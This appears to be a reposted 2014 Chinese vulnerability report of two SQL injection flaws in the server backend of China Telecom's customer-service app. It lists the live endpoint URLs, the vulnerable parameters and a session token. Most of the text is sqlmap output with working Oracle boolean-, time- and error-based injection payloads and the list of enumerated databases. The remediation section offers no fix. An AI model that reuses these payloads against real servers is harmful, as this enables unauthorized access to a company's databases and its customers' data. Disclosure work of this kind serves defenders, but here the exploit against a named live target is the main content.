中国电信某APP服务端两处SQL注射下载

来源:黑吧安全网 浏览:766次 时间:2014-05-22
做网站找雨过天晴工作室

中国电信某APP服务端SQL注射(*.189.com) 涉及多个数据库

这几个接口都存在于"天翼客服"app中,该app可从豌豆荚应用商店下载。

 

注射点1



 

http://content.kefu.189.cn:8005/public/sjkf/hotwords/searchPrompt?&appCode=003&hotWord=1&token=5db9ae9853aabd4f0a388e21a0e9d1ad&deviceOS=android



其中hotWord参数存在SQL注射

 

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: hotWord
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: &appCode=003&hotWord=1%' AND 4434=4434 AND '%'='&token=5db9ae9853aabd4f0a388e21a0e9d1ad&deviceOS=android

Type: AND/OR time-based blind
Title: Oracle AND time-based blind (heavy query)
Payload: &appCode=003&hotWord=1%' AND 1637=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) AND '%'='&token=5db9ae9853aabd4f0a388e21a0e9d1ad&deviceOS=android
---
web application technology: JSP
back-end DBMS: Oracle
available databases [22]:
[*] APEX_030200
[*] APPQOSSYS
[*] CTXSYS
[*] DBSNMP
[*] EMS2
[*] EXFSYS
[*] FANGLE
[*] FLOWS_FILES
[*] MDSYS
[*] MOBILE_SERVICE
[*] MOBILE_SERVICE_CONTENT
[*] MOBILE_SERVICE_VM
[*] OLAPSYS
[*] ORDDATA
[*] ORDSYS
[*] OUTLN
[*] OWBSYS
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] WMSYS
[*] XDB





 

注射点2



 

http://content.kefu.189.cn:8005/public/sjkf/manualstype/MyPhone_InstructionManual?&deviceModel=sdk&deviceOS=android



deviceModel参数存在SQL注射

 

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: deviceModel
Type: error-based
Title: Oracle OR error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)
Payload: &deviceModel=-7643') OR 4436=UTL_INADDR.GET_HOST_ADDRESS(CHR(113)||CHR(110)||CHR(110)||CHR(113)||CHR(113)||(SELECT (CASE WHEN (4436=4436) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(104)||CHR(106)||CHR(111)||CHR(113)) AND ('Dmmf'='Dmmf&deviceOS=android

Type: AND/OR time-based blind
Title: Oracle OR time-based blind
Payload: &deviceModel=-2289') OR 3440=DBMS_PIPE.RECEIVE_MESSAGE(CHR(79)||CHR(108)||CHR(111)||CHR(113),5) AND ('WmXG'='WmXG&deviceOS=android
---
web application technology: JSP
back-end DBMS: Oracle
available databases [22]:
[*] APEX_030200
[*] APPQOSSYS
[*] CTXSYS
[*] DBSNMP
[*] EMS2
[*] EXFSYS
[*] FANGLE
[*] FLOWS_FILES
[*] MDSYS
[*] MOBILE_SERVICE
[*] MOBILE_SERVICE_CONTENT
[*] MOBILE_SERVICE_VM
[*] OLAPSYS
[*] ORDDATA
[*] ORDSYS
[*] OUTLN
[*] OWBSYS
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] WMSYS
[*] XDB

漏洞修补方法:我相信电信的能人高人肯定多,我这点黑客小菜技术不就丢人现眼了